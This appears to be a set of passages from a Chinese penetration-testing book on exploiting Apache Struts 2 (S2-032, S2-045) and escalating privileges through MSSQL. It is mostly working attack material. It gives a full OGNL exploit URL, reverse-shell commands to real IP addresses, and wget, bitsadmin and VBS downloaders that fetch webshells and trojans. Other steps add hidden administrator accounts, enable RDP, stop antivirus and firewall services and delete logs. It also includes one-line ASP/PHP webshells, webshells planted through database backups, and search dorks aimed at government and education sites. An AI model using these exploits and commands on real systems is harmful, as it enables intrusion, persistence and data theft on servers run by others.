    {"text": "Struts 2 是 Struts 的下一代产品，是在 Struts 1 和 WebWork 的技术基础上合并的全新框架。 Struts 2 的体系结构与 Struts 1 的体系结构差别巨大，其在 Action 的实现、线程模型、Servlet 依赖、封装请 求参数、表达式语言、绑定值到视图技术、类型转换、Action 执行控制的对比、拦截器的应用等方 面较 Struts1 进行了较大改进。 Struts 2 以 WebWork 为核心，采用拦截器的机制来处理用户的请求， 这样的设计也使得业务逻辑控制器能够与 ServletAPI 完全脱离，所以 Struts 2 可以视作 WebWork 的 更新产品。"},
    {"text": "3.12.2 s2-032 漏洞简介 安恒安全研究院在 Struts 2 上发现了一个严重的远程代码执行漏洞（CVE-2016-3081，http:// seclab.dbappsecurity.com.cn/?p=924），即 s2-032 漏洞，互联网上也披露了 Apache Struts 2 S2-032 远程 代码执行漏洞的利用代码。"},
    {"text": "1．调用方法 Struts 2 是第二代基于 Model-View-Controller（MVC）模型的 Java 企业级 Web 应用框架，并成 为当时国内外较为流行的容器软件中间件。 在 Struts 2 的核心 jar 包-struts2-core 中，存在一个 default.properties 的默认配置文件用于配置全 局信息，当 struts.enable.DynamicMethodInvocation=true 时开启动态方法调用。"},
    {"text": "尽管在 Struts 2 目前所 采用的安全策略中，对部分动态调用方法进行了特殊字符传递的限制，但在该漏洞中，攻击者仍能 通过 OGNL 表达式静态调用获取 ognl.OgnlContext 的 DEFAULT_MEMBER_ACCESS 属性并覆盖 _memberAccess 的方式进行绕过，进而可在受控制的服务器端执行任意代码。"},
    {"text": "3．漏洞修复建议 Apache Struts 官方已发布了升级程序修复该漏洞，建议用户升级至 2.3.20.2、2.3.24.2、2.3.28.1 版本，更新地址为 https://cwiki.apache.org/confluence/display/WW/Migration+Guide。"},
    {"text": "将该文件保存在本地后，使用“记事本”程序打开，可以看到第一行为“root”， 表示当前用户为 root，如图 3-83 所示，还可以将其命令更换为“id”等。"},
    {"text": "http://www.antian365.com/index.action?method:%23_memberAccess%3d%40ognl.Ognl Context%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28 %29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew% 20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%2 8%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%4 0org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c% 23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=whoami 图 3-82 存在漏洞下载文件 图 3-83 查看漏洞执行结果 2．快速显示漏洞 将“command”后的值设置为“netstat -an”或者“cat /etc/passwd”比较容易查看结果。"},
    {"text": "图 3-84 执行 netstat 命令 203 网络攻防实战研究：漏洞利用与提权 图 3-85 执行查看 passwd 文件的命令 3.12.4 网上公开的检测地址 安恒和知道创宇分别提供了在线检测 s2-032 漏洞的工具，具体如下。"},
    {"text": "将网站地址输入检测网站，如果存在漏洞会给出提示，如图 3-86 所示。 3.12.5 网上公开的 s2-032 漏洞综合利用工具 以 K8 为代表的安全爱好者团队已经公开了 s2-032 漏洞的综合利用工具，运行后将网站地址复 制到目标中即可（注意：必须要带“http”或者“https”）。"},
    {"text": "图 3-86 在线检测 图 3-87 网上公开的漏洞利用工具 3.12.6 s2-032 漏洞的利用及提权 s2-032 漏洞的利用及提权思路为：发现 s2-032 漏洞后，通过 K8 Struts2 Exploit 利用工具上传 JSP 小马（例如，可以执行 Linux 命令的小马），然后在服务器上放置一个 JSP 大马，通过 wget 命令将 204 第 3 章 Linux 漏洞利用与提权 其下载到本地，复制到相应位置。"},
    {"text": "（1）上传文件 在 K8 Struts2 Exploit 利用工具中单击“文件上传”选项卡，“测试”、“JSP 小马”、“K8cmd 马” 和“菜刀马”4 个按钮分别对应于 4 种测试方法。"},
    {"text": "图 3-88 上传网页木马 （2）获取 WebShell 权限 上传成功后，在浏览器中输入完整的地址，例如“http://127.0.0.1:8080/one8.jsp”，如图 3-89 所 示，如果上传程序无错误，则可以在其中执行命令。"},
    {"text": "如图 3-90 所示，使用“wget http://www.antian365.com/file/1.txt”命令下载 1.txt 到服务器上（1.txt 可以是 JSP 的大马），以便在服务器上进行图形界面操作。"},
    {"text": "图 3-89 获取 WebShell 图 3-90 下载 JSP 大马 205 网络攻防实战研究：漏洞利用与提权 使用“ls -al /opt/apache-tomcat-7.0.64/bin”命令查看文件是否下载到服务器，确保文件存在，如 图 3-91 所示。 使用 cp 命令将 1.txt 文件复制到服务器网站目录下，例如“cp /opt/apache-tomcat-7.0.64/bin/1.txt /opt/apache-tomcat-7.0.64/attendance/333.jsp”，然后在浏览器中输入文件名进行查看，如图 3-92 所示。 图 3-91 查看下载的文件是否存在 图 3-92 执行 JSP 大马 3.13 快速利用 s02-45 漏洞获取服务器权限 s02-045 漏洞非常火爆，国内很多网站均采用这种架构。"},
    {"text": "3.13.1 CVE-2017-5638 漏洞简介 Apache Struts 2 是世界上最流行的 Java Web 服务器框架之一。 在 Struts 2 上存在高危安全漏洞 （CVE-2017-5638，S02-45），该漏洞影响 Struts 2.3.5～Struts 2.3.31、Struts 2.5～Struts 2.5.10。 漏洞编号：CVE-2017-5638。"},
    {"text": "影响版本：Struts 2.3.5～Struts 2.3.31，Struts 2.5～Struts 2.5.10 修补方案：升级到 Struts 2.3.32 或 Struts 2.5.10.1。 Struts 2.3.32 下载地址：https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32。 Struts 2.5.10.1 下载地址：https://cwiki.apache.org/confluence/display/WW/Version+Notes+ 2.5.10.1。"},
    {"text": "根据需要安装 poster.encode 模块（https://pypi.python.org/pypi/poster/），然后到 该目录下执行“python setup.py install”命令。 Python 如果没有设置系统变量，则需要带完 整路径执行，例如“C:\\Python27\\python.exe”、“C:\\Python27\\poster-0.8.1\\setup.py install”。"},
    {"text": "inurl:index.action site:edu.cn inurl:index.action site:gov.cn inurl:index.action site:com.cn 3.13.3 修改 POC 利用代码 对于 Linux 版本，修改 whoami 的值为“bash -i >& /dev/tcp/122.115.47.39/4433 0>&1”，说明 122.115.47.39 为反弹监控服务器 IP 地址，端口为 4433。"},
    {"text": "net user antian365$ Wsantian365!* /add net localgroup administrators antian365$ /add 207 网络攻防实战研究：漏洞利用与提权 分别将 POC 文件保存为 pocwin1.py、pocwin2.py，如图 3-95 所示。 图 3-95 修改 Windows 下的 POC 利用代码 3.13.4 在 Windows 下快速实施渗透 1．对方开启了 3389 端口 （1）扫描对方是否开启了 3389 端口，如果开启了，则分别执行如下命令 pocwin1.py http://www.antian365.com/index.action pocwin2.py http://www.antian365.com/index.action 如果服务器存在漏洞，则直接添加用户“antian365$”及密码“Wsantian365!*”。 服务器开启了 3389 端口，登录后下载 wce64，使用“wce64 -w”命令获取当前登录密码（记得一定要使用管理员 权限执行）。"},
    {"text": "（2）直接开启 3389 端口 在该参数中分别修改 3 次。 执行如下代码 3 次，即可开启 3389 端口。 wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_terminalservicesetting where (__CLASS != \"\") call setallowtsconnections 1 wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 3389 端口开启的条件是对方是独立的 IP 地址。"},
    {"text": "然后，修改 win.py 中的 whoami 参数为“bitsadmin /transfer myjob1 /download /priority normal http://www.antian365.com/ma.exe c:\\windows\\ temp\\ma.exe”。"},
    {"text": "208 第 3 章 Linux 漏洞利用与提权 （2）执行木马 修改 POC 的中 whoami 参数为 ma.exe 的真实路径和地址，例如 c:\\windows\\temp\\ma.exe，运行 保存后的 POC，即可执行木马。"},
    {"text": "3.13.5 Linux 下的快速渗透思路 1．在独立的服务器上执行监听 在拥有独立 IP 地址的服务器上执行“nc -vv -l -p 4433”命令后，可以连接一下这个 IP 地址的 4433 端口，例如 http://www.antian365.com:4433，如果监听端口有数据，则表示正常，否则请检查防火墙规则。 2．执行 poc 运行命令“poclinux.py http://www.antian365.com/index.action”，如果目标服务器存在漏洞，则会 反弹 Shell 到监听服务器上，如图 3-96 所示，直接获取服务器权限。 图 3-96 获取服务器反弹权限 3．获取 WebShell 服务器权限不容易操作，需要设置一个 WebShell，方法如下。 （1）寻找 JSP 文件，执行如下命令 locate *.jsp （2）获取网站真实路径 寻找 JSP 文件，找到以后应该有一个网站路径，本例的路径为“opt/web/apps/zhsh/WebRoot/”， 如图 3-97 所示。 执行“cd /opt/web/apps/zhsh/WebRoot/”命令访问网站目录。 （3）下载 WebShell 文件 运行命令“wget http://182.48.99.164/1.txt”，下载 Shell 文件。 运行命令“cp 1.txt myma.jsp”，复 制 1.txt 为 myma.jsp。 运行命令“chmod +x myma.jsp”，修改 myma.jsp 为有执行权限，如图 3-98 所示。"},
    {"text": "enterprise.action register.action info.action login.action index.action 2．漏洞检测 可以根据地域进行收集，例如“site:kr”。 收集到地址后，直接进行检测，如图 3-100 所示，显 212 第 3 章 Linux 漏洞利用与提权 示该网站存在漏洞。"},
    {"text": "/home/root/ROOT_20160524/resource/images/kor/main/prd01.jpg /home/root/ROOT_20160923/resource/images/eng/main/prd01.jpg 图 3-101 使用 locate 命令检索 JSP 文件 图 3-102 检索图片文件 4．果断反弹 Shell 使用“bash -i >& /dev/tcp/59.110.xx.xxx/4433 0>&1”或者“/usr/bin/bash -i >& /dev/tcp/59.110.xx. xxx/ 4433 0>&1”命令执行反弹，反弹 IP 地址为 59.110.xx.xxx，端口为 4433（该 IP 地址是独立 IP 地址，且能监听 4433 端口），如图 3-103 所示。 5．下载 WebShell 到服务器 使用命令“wget -O /home/root/ROOT_20160524/resource/images/a.jsp http://218.1.xx.xx/tklama/ 1.txt”，下载 1.txt 到/home/root/ROOT_20160524/resource/images 目录下，并将其保存为 a.jsp 文件， 如图 3-104 所示。 213 网络攻防实战研究：漏洞利用与提权 图 3-103 反弹到 Shell 执行 图 3-104 下载 WebShell 6．获取 WebShell 在浏览器中访问“http://203.xxx.xxx.xxx:8080/resource/images/a.jsp”，如图 3-105 所示，顺利获取 WebShell。"},
    {"text": "7．获取网站数据库配置信息 网站数据库配置信息一般在 WEB-INF/classes/db.properties 中。 如图 3-106 所示，可以获取该网 站所使用的 Oracle 数据库的账号及密码等信息，后续操作就不展开讨论了。"},
    {"text": "图 3-105 获取 WebShell 图 3-106 获取数据库密码信息 3.14 安全设置 Linux 操作系统的密码 在早期的 Linux 操作系统中，/etc/passwd 文件包含系统中每个用户的信息。"},
    {"text": "不要使用个人信息（例如生日、名字、用户名、 电话号码等）作为口令，计算机型号等尽量不要出现在密码中，普通的英语单词也不适合作为口令 （因为可以采用字典攻击法）。 口令中最好有一些非字母字符（例如数字、标点符号、控制字符等）， 尽量不要将口令写在纸上或存放在计算机文件中。 设置口令的一个好方法是将不相关的字母、数字 214 第 3 章 Linux 漏洞利用与提权 或控制字符相连，长度不少于 8 位。"},
    {"text": "3.14.1 修改 login.defs 中的参数 为 了 强 制 用 户 指 定 足 够 强 壮 的 密 码 ， 需 要 修 改 /etc/login.defs 文件的 PASS_ MIN_LEN 参数（口令最小长度）。"},
    {"text": "本节的方法综合了 http ://www.cyberciti.biz / faq / rhel - centos-fedora - linux - upgrading-password-hashing/和 http://kbase.redhat.com/faq/docs/DOC-15806 两篇文章的内容，针对 Red Hat Enterprise Linux 5.2 以上版本。"},
    {"text": "# authconfig --test | grep hashing 设置使用 SHA512 算法，代码如下。 # authconfig --passalgo=SHA512 --update 在笔者的 Red Hat Enterprise Linux 5.3 中，提示“unknown algorithm sha512”，即使用 SHA512 算法，原因不明。"},
    {"text": "#%PAM-1.0 #password required pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2 retry=3 #password required pam_unix.so md5 shadow use_authtok password required pam_unix.so md5 shadow nullok 把最后一行的 MD5 值用 SHA256 算法替换。"},
    {"text": "215 网络攻防实战研究：漏洞利用与提权 如图 3-108 所示是一个被攻陷的红帽系列的 Linux 操作系统，攻击者远程溢出服务器后，获得了 一个 root 权限的登录界面。"},
    {"text": "攻击者打开了/etc/passwd 文件，如图 3-109 所示。 图 3-109 查看/etc/passwd 文件 看来，主机的账户使用了 shadow 加密。 继续查看/etc/shadow 文件，如图 3-110 所示，“root”行 的冒号后面就是加密后的密码。"},
    {"text": "图 3-112 成功破解密码 216 第 4 章 MSSQL 漏洞利用与提权 MSSQL 数据库是微软开发的目前世界上最为流行的数据库软件之一，它只能运行在 Windows 平台上，最常见的架构为 ASP+MSSQL 和 ASP.NET+MSSQL。"},
    {"text": "在 Windows Server 2008 以下版本中， 攻击者只要获取了 sa 账号及其密码，就可以快速方便地通过一些技巧来获取系统权限。 Windows Server 2008 及以上版本的操作，虽然不能直接获取系统权限，但通过恢复存储过程等可以执行命令， 通过系统存在的提权漏洞仍然可以提权。 本章着重介绍 MSSQL Server 提权的基础知识及 Windows 下 MSSQL Server 的几种提权方法，同 时通过一些案例介绍攻击者如何利用 MSSQL sa 账号进行提权，并给出相应的防范建议。 本章主要内容 Ê MSSQL 提权基础 Ê SQL Server 口令扫描 Ê SQL Server 2000 MS08-040 漏洞 Ê SQL Server 2000 提权 Ê SQL Server 2005 提权 Ê Windows Server 2008 中 SQL Server 2008 提权 Ê 通过 Windows Server 2008 和 SQL Server 2008 sa 权限获取 WebShell Ê 通过 sa 权限注入获取服务器权限 Ê 通过 FTP 账号渗透并提权某服务器 Ê Windows Server 2003 下 SQL Server 2005 绕过安全狗提权 4.1 SQL Server 提权基础 微软的 SQL Server 是目前世界上使用最广泛的数据库管理软件之一，它主要运行在 Windows 平 台上，最新版本也可以在 Linux 下安装和使用。"},
    {"text": "4.1.1 SQL Server 简介 “SQL”是英文“Structured Query Language”的缩写，意为“结构化查询语言”。 SQL 的主要功 能就是同各种数据库建立联系，进行沟通。 按照 ANSI（美国国家标准协会）的规定，SQL 是关系型 数据库管理系统的标准语言。"},
    {"text": "网络攻防实战研究：漏洞利用与提权 SQL Server 是由微软开发和推广的关系数据库管理系统（DBMS），它最初是由微软、SyBase 和 Ashton-Tate 三家公司共同开发的，并于 1988 年推出了第一个 OS/2 版本。"},
    {"text": "SQL Server 不断更新版本， 1996 年推出了 SQL Server 6.5，1998 年 SQL Server 7.0 和用户见面，SQL Server 2000 于 2000 年推出， SQL Server 2005 于 2005 年推出，SQL Server 2014 于 2014 年 4 月 16 日推出，目前最新版本为 SQL Server 2016。"},
    {"text": "4.1.2 sa 口令的获取 1．WebShell 或源代码的获取 在目标网站翻查 conn.aspx、config.aspx、conn.asp、config.asp、config.php、web.config 等文件， 从中找出数据库连接代码，形如“server=localhost;UID=sa;PWD=antian365.com;database=master;Provider =SQLOLEDB”，“PWD”后的字符串即为密码。 2．源代码泄露 获取站点源代码压缩文件（很多网站会对整站进行打包），通过查看源代码文件获取密码。 3．嗅探 使用 Cain 等工具嗅探 1433 数据库端口，可以获取数据库登录密码。 4．口令暴力破解 使用一些 MSSQL 暴力破解工具可以对 MSSQL 的账号进行破解。"},
    {"text": "4.1.3 常见 SQL Server 提权命令 1．查看数据库的版本 select @@version; 2．查看数据库所在服务器操作系统的参数 主要显示 ProductName、ProductVersion、Language、Platform、Comments、CompanyName、 FileDescription、FileVersion、InternalName、LegalCopyright、LegalTrademarks、OriginalFilename、 PrivateBuild、SpecialBuild、WindowsVersion、ProcessorCount、ProcessorActiveMask、ProcessorType、 PhysicalMemory 和 Product ID 等参数信息，其中 Platform 用于显示平台是 x86 还是 64 位类型，示例 如下。"},
    {"text": "Microsoft Word - a扉页.doc @step_name = 'Exec my sql', @subsystem = 'TSQL', @command = 'exec master..xp_execresultset N''select ''''exec master..xp_cmdshell \"dir > c:\\agent-job-results.txt\"'''''',N''Master''' EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL', @server_name = 'SERVER_NAME' EXEC sp_start_job @job_name = 'GetSystemOnSQL' 26．echo 一句话后门 echo ^<%eval request(cmd)% ^>^ >d:\\wwwroot\\ok.asp echo ^<?php @eval($_POST[cmd]);?^>^ >cmd.php echo ^<%@ Page Language=Jscript%^>^<^%eval(Request.Item[pass],unsafe);%^> >c:\\Temp\\cmd.aspx 27．在 MSSQL 中查询 password select * From [sysobjects] Where Exists(SELECT sysobjects.[name] FROM [syscolumns] Where [syscolumns].ID= sysobjects.ID and [name] like '%password%' 4.1.4 通过数据库备份获取 WebShell 1．差异备份一句话木马 backup database [当前数据库名] to disk = 'c:\\recycler\\1.bak' create table cmd (a image); insert into cmd (a) values ('<%eval request(\"cmd\")%>'); backup database [当前数据库名] to disk = '网站绝对路径' WITH DIFFERENTIAL,FORMAT-- 2．LOG 备份一句话木马 alter database 当前数据库名 set RECOVERY FULL-- create table cmd (a image); backup log [当前数据库名] to disk = 'c:\\recycler\\1.bak' with init-- insert into cmd (a) values ('<%eval request(\"cmd\")%>'); backup log [当前数据库名] to disk = '网站绝对路径' drop table cmd; alter database [当前数据库名] set RECOVERY SIMPLE; 222 第 4 章 MSSQL 漏洞利用与提权 例如以下代码。 alter database zgclove set RECOVERY FULL ; create table cmd (a image) ; backup log zgclove to disk = 'd:/1.asp' with init ; insert into cmd (a) values ('<%If Request(\"k\")<>\"\" Then Execute(Request (\"k\"))%>') ; backup log zgclove to disk = 'd:/2.asp' ; drop table cmd; 4.1.5 SQL Server 日志 SQL Server 自带日志审计功能，对 SQL Server 的一些操作会记录在案。"},
    {"text": "SELECT * FROM [msdb].[dbo].[backupmediafamily] 2．删除错误日志及操作日志 选择“SQL Server 代理”→“错误日志”→“配置”选项，获取日志文件的位置，例如“D:\\Program Files\\Microsoft SQL Server\\MSSQL10.MSSQLSERVER\\MSSQL\\Log\\SQLAGENT.OUT”， “D:\\Program Files\\ Microsoft SQL Server\\MSSQL10.MSSQLSERVER\\MSSQL\\Log\\”为 SQL Server 的所有操作日志文件。"},
    {"text": "4.2 SQL Server 口令扫描 SQL Server 数据库一般都安装在服务器操作系统中，在网络入侵过程中，对数据库的攻击也是 典型的攻击手段之一，加之目前市面上很多安全检测和入侵软件均具有数据库口令扫描功能，所以， 一旦获取了数据库中 sa 用户的口令，攻击者就可以执行添加用户等危险命令，从而很容易地完全控 制服务器。 常见的数据库攻击主要有以下几种。"},
    {"text": "安全漏洞扫描。 安全漏洞扫描通常是指针对操作系统、网络应用程序或者数据库系统本身的 弱点进行扫描。 攻击者在安全扫描过程中可以轻松地发现没有使用 SQL 安全补丁、互联网 信息服务（IIS）设置弱点及 SNMP（简单网络管理协议）等漏洞并实施攻击，从而导致数 据库被攻破。 攻击者在攻击过程中可能使用公开的工具，也可能使用专用的工具，还可能利 用一些大型公司提供的安全扫描程序（例如，Qualys 公司的普通扫描工具 QualysGuard，SPI Dynamics 公司的网络应用程序扫描工具 WebInspect 等）。"},
    {"text": "攻击者还可利 用这种手段突破系统、进行代码注入或者取得未授权的命令行访问权限。 SQL 注入攻击。 SQL 注入攻击是目前最为流行的一种攻击方式，它主要通过构建 SQL 语言 脚本来实施攻击。 网上有很多流行的 SQL 注入攻击工具，例如“教主”的 HDSI 3.0、 “明小 子”的 Domain 3.5 等。"},
    {"text": "Google hacks 利用 Google 搜索引擎找出可公开访问的 SQL 服务器的错误，例 如“Incorrect syntax near”，黑客使用 Google 搜索引擎，能够找到口令、网络服务器中的安 全漏洞、基本操作系统信息、公开提供的程序及其他能够用来攻破 SQL 服务器系统的内容。"},
    {"text": "4.2.1 使用 Piggy 进行口令扫描 Piggy 目前的最新版本为 1.0.1，它是 cqure.net 网站的 patrik 开发的一款命令行下的数据暴力破 解工具。"},
    {"text": "-p <password>：单一密码破解模式，适合在内网获取了某个数据库服务器密码的情况。 -s <server>：单个服务器破解，可以是服务器名，也可以是 IP 地址。"},
    {"text": "使用“piggy -u sa -s 192.168.52.174 -D sql_pass.dic”命令对 IP 地址为 192.168.52.174 的服务器进行 sa 密码破解，密码文 件设置为当前程序路径下的 sql_pass.dic 文件，效果如图 4-1 所示。"},
    {"text": "图 4-1 使用 Piggy 进行密码破解 图 4-2 批量扫描口令 3．特点 Piggy 的缺点是不能将扫描结果保存到文件中，扫描任务无法终止，只能强行关闭程序；"},
    {"text": "SQLPing 还提供了服务器登录权限扫描模式，如 图 4-4 所示，可以使用域用户密码进行登录，是内网 渗透的利器。 SQLPing 暴力破解比较直观，操作方便， 图 4-3 使用 SQLPing 进行扫描 可以将扫描结果保存为 xml 文件，如图 4-5 所示，而且可以在域控中进行扫描。 图 4-4 在域控模式下进行破解 图 4-5 保存扫描结果为 xml 文件 225 网络攻防实战研究：漏洞利用与提权 4.2.3 使用 Hscan 扫描 MSSQL 口令 1．设置 Hscan 运行 Hscan 程序，分别设置起始 IP 地址和结束 IP 地址，在扫描模块中只选中“check MSSQL weak accounts”选项，如图 4-6 所示。"},
    {"text": "图 4-6 设置扫描 MSSQL 弱口令模块 图 4-7 Hscan 的扫描结果 说明 Hscan.log 文件在每次扫描时进行内容的完全覆盖，不保留以前的扫描记录，因此每一次扫 描结束后，必须更改文件名称或者另存为其他文件。"},
    {"text": "3．连接数据库 选中类型为“MSSQL”的记录，在扫描结果区域单击，通过“Connect”命令直接连接数据库， 连接成功以后如图 4-8 所示。 图 4-8 连接 MSSQL 数据库 226 第 4 章 MSSQL 漏洞利用与提权 注意 在选择记录时一定要小心，右键是清除记录命令（Clean），左键是连接命令（Connect），清除扫 描结果以后不能恢复。 4．执行命令 在 Sqlcmd 提示符下分别输入命令“net user”、“net user aspnet aspnet2005”及“net localgroup administrators aspnet /add”，查看并添加“aspnet”用户，口令为“aspnet2005”，将“aspnet”用户放 到 Administrators 组中，如图 4-9 所示。 图 4-9 执行命令 说明 由于使用这种弱口令的 MSSQL 服务器极有可能被多个攻击者进行了扫描，攻击者在攻击成功 后会将一些存储过程删除，导致在 Sqlcmd 提示符下能够连接却不能执行命令。 这个时候，可以通过 SQL 查询分析器连接该数据库，连接成功后可以查看数据服务器中的数据库，通过数据库中表的内 容（例如 user 表等）配合 Web 来实施控制。"},
    {"text": "4.3 SQL Server 2000 MS08-040 漏洞 在 SQL Server 7.0 与 SQL Server 2000 8.00.760 之前的版本中存在某些弱点，在客户端与 SQL Server 联机时，如果客户端传送了特殊的信息，可能造成 SQL Server 执行发生问题，进而取得系统 的控制权，比较著名的是“SQL Hello”漏洞（SQL Server 磁盘数据结构整数溢出漏洞，MS08-040）。 只要安装 SQL Server 的数据库服务器没有安装 SQL Server 2000 SP3 补丁，则通过“SQL Hello”漏 洞利用工具可以很方便地溢出 SQL Server 2000 服务器。"},
    {"text": "虽然该漏洞比较古老，但在 227 网络攻防实战研究：漏洞利用与提权 很多内部网络仍然使用 SQL Server 2000 的情况下，通过该漏洞可以直接获取系统权限。 下面介绍攻 击者如何通过“SQL Hello”漏洞利用工具进行扫描并提升权限，最终完全控制服务器的过程。"},
    {"text": "4.3.1 使用 MySQLSrv 8.0.194 AutoAttack 进行扫描并渗透 1．设置 MySQLSrv 8.0.194 AutoAttack 运行 MySQLSrv 8.0.194 AutoAttack，在“Start IP”和“End IP”文本框中分别输入对 SQL Server 2000 数据库进行扫描的起始 IP 地址和结束 IP 地址，然后单击指向右边的箭头按钮，将 IP 地址加入 扫描列表中。"},
    {"text": "注意 扫描的 IP 地址范围不要过大，一般一个 C 段或 B 段较为适中。 扫描可以针对 IP 段，也可以针对单独的 IP 地址。 如果是针对一个 IP 地址进行扫描，则将 起始 IP 地址和结束 IP 地址均设置为相同的 IP 地址即可。"},
    {"text": "2．自动扫描 设置完毕，在 MySQLSrv 8.0.194 AutoAttack 中单击“Scan”按钮开始扫描。 扫描时，MySQLSrv 8.0.194 AutoAttack 程序的扫描进度会在“State”区域显示，包含扫描的 IP 地址总数，以及最大线程、 超时、扫描端口等信息，如图 4-11 所示。 图 4-10 设置 MySQLSrv 8.0.194 AutoAttack 图 4-11 扫描存在漏洞的 SQL Server 2000 服务器 3．扫描结果处理 MySQLSrv 8.0.194 AutoAttack 在扫描到存在漏洞的计算机后，会自动反弹一个 DOSShell。"},
    {"text": "不过， 由于网络及服务器自身设置等原因，有可能会反弹 一个不完全的 DOSShell 窗口。 如图 4-12 所示，该 DOSShell 表明该服务器存在 SQL 漏洞，但是无法 反弹一个完整的 DOSShell，因此不能执行 DOS 命 令。"},
    {"text": "一是直接在扫描窗口下方显示，如图 4-13 所示，主要包含 IP 地址及数据库服务器的版本（这些 都是存在 SQL Server 2000 漏洞的服务器）。 二是将扫描结果保存为一个以时间命名的 txt 文件，其中也包含 IP 地址、数据库服务器的版本 等信息。 如图 4-14 所示，该结果文件记录了扫描中发现的所有存在 SQL Server 数据库的服务器的 IP 地址及其 SQL Server 数据库服务器的版本号。"},
    {"text": "2．执行命令 在该 DOSShell 中执行“net user”命令查看用户，结果显示为“‘net’不是内部或外部命令，也 不是可运行的程序或批处理文件”，表明 net.exe 不存在或不可执行，如图 4-16 所示。 图 4-15 完全反弹 Shell 图 4-16 无法执行查看用户命令 229 网络攻防实战研究：漏洞利用与提权 说明 在一些安全措施比较完善的计算机上，为了防止攻击者在计算机中执行命令，会将一些对系统 有安全威胁的程序删除或者命名为其他名称，这些程序主要包括 net.exe、net1.exe、ftp.exe、 csscript.exe、tftp.exe 等。 3．查看计算机中的文件 在本例中，由于管理员将一些危险的 DOS 程序全部删除了，因此攻击者只能从计算机文件中寻 找突破口。 通过查看发现，在该服务器中还存在一个操作系统，直接进入系统目录，输入“dir net *.exe”命令查看是否存在 net.exe 等应用程序，结果表明在该目录中存在 net.exe。 使用“copy net.exe c:\\winnt\\system32\\”命令将 net.exe 程序复制到真正的系统 system32 目录下，然后将 FTP、query.exe、 cscrispt.exe 等程序复制到该目录下，如图 4-17 所示。 4．查看远程终端连接和用户的情况 输入“query user”命令查看系统的终端使用情况，结果表明系统中存在远程终端。 输入“net user” 命令查看该计算中的用户情况，如图 4-18 所示。 图 4-17 查看文件并复制 DOS 程序 图 4-18 查看远程终端和用户的情况 说明 输入并执行以下 vbs 脚本，查看远程终端端口。 Echo Dim ReadComputerName >>port.vbs Echo Set ReadComputerName=WScript.CreateObject(\"WScript.Shell\") >>port.vbs Echo Dim TSName,TSRegPath >>port.vbs Echo TSRegPath=\"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\PortNumber\" >>port.vbs Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs Echo WScript.Echo(\"TermService port is:\"^&TSName) >>port.vbs Cscript port.vbs 命令执行完毕，显示远程终端的 3389 端口为“5430”，如图 4-19 所示。"},
    {"text": "230 第 4 章 MSSQL 漏洞利用与提权 图 4-19 查看远程终端的 3389 端口 4.3.3 登录服务器远程终端 分别输入“net user aspnet ***** /add”、 “net localgroup administrators aspnet /add”及“net localgroup administrators”命令添加 aspnet 用户，将 aspnet 用户加入管理员组，并查看管理员组中的所有用户， 如图 4-20 所示，添加用户成功。"},
    {"text": "echo open 221.*.*.*>b echo myftp>>b echo ftp>>b echo bin>>b echo get muma.exe>>b echo bye>>b ftp -s:b del b 在反弹 Shell 中执行以上命令后，显示无法执行 FTP 命令，怀疑存在防火墙。"},
    {"text": "使用“net start” 命令，查看系统中已经启动的服务，显示存在瑞星防火墙，分别使用“net stop \"Rising Process Communication Center\"”、 “net stop \"RsRavMon Service\"”、 “net stop \"Rising Personal Firewall Service\"”、 “net stop \"Rising Process Communication Center\"”命令停用防火墙及杀毒软件服务，在停用过程中， 有可能无法停用全部服务，如图 4-21 所示。 图 4-20 添加管理员用户 图 4-21 停用防火墙及杀毒软件服务 231 网络攻防实战研究：漏洞利用与提权 说明 在上传文件时可以采用 3 种方式，一种是 FTP，另外两种是通过 vbs 脚本上传。"},
    {"text": "echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe echo Set xPost = createObject(\"Microsoft.XMLHTTP\") >>iget.vbe echo xPost.Open \"GET\",iRemote,0 >>iget.vbe echo xPost.Send() >>iget.vbe echo Set sGet = createObject(\"ADODB.Stream\") >>iget.vbe echo sGet.Mode = 3 >>iget.vbe echo sGet.Type = 1 >>iget.vbe echo sGet.Open() >>iget.vbe echo sGet.Write(xPost.responseBody) >>iget.vbe echo sGet.SaveToFile iLocal,2 >>iget.vbe dir iget*.vbe cscript iget.vbe http://myrouji.com.cn/muma.exe muma.exe 文件上传成功，然后执行木马程序，确保能够成功控制该服务器。"},
    {"text": "图 4-22 成功连入远程终端桌面 图 4-23 粉碎文件 4.3.4 总结与思考 本案例通过对存在“SQL Hello”漏洞的 SQL Server 数据库服务器进行扫描，对随机抽取的反弹 数据库服务器进行了完全控制。"},
    {"text": "在上传文件过程中使用了 3 种方法，在无法获取 3389 端口的情况下 232 第 4 章 MSSQL 漏洞利用与提权 使用 vbs 脚本成功获取了 3389 端口，通过查看计算机硬盘中的资料获取了有用的信息，发现服务器 存在多操作系统及一些可以提升权限的 DOS 命令程序，将这些程序复制到当前系统的 system32 目 录下，并执行添加用户等命令后，成功登录远程终端 3389 桌面，控制了该服务器。 从控制过程来看， 服务器做了很好的防范，删除了一些会对系统造成安全威胁的 DOS 命令程序，但由于存在“SQL Hello”漏洞及双操作系统，最终仍被入侵。 本案例说明，不及时安装相应补丁程序及设置过程的疏忽大意将导致巨大的安全风险。"},
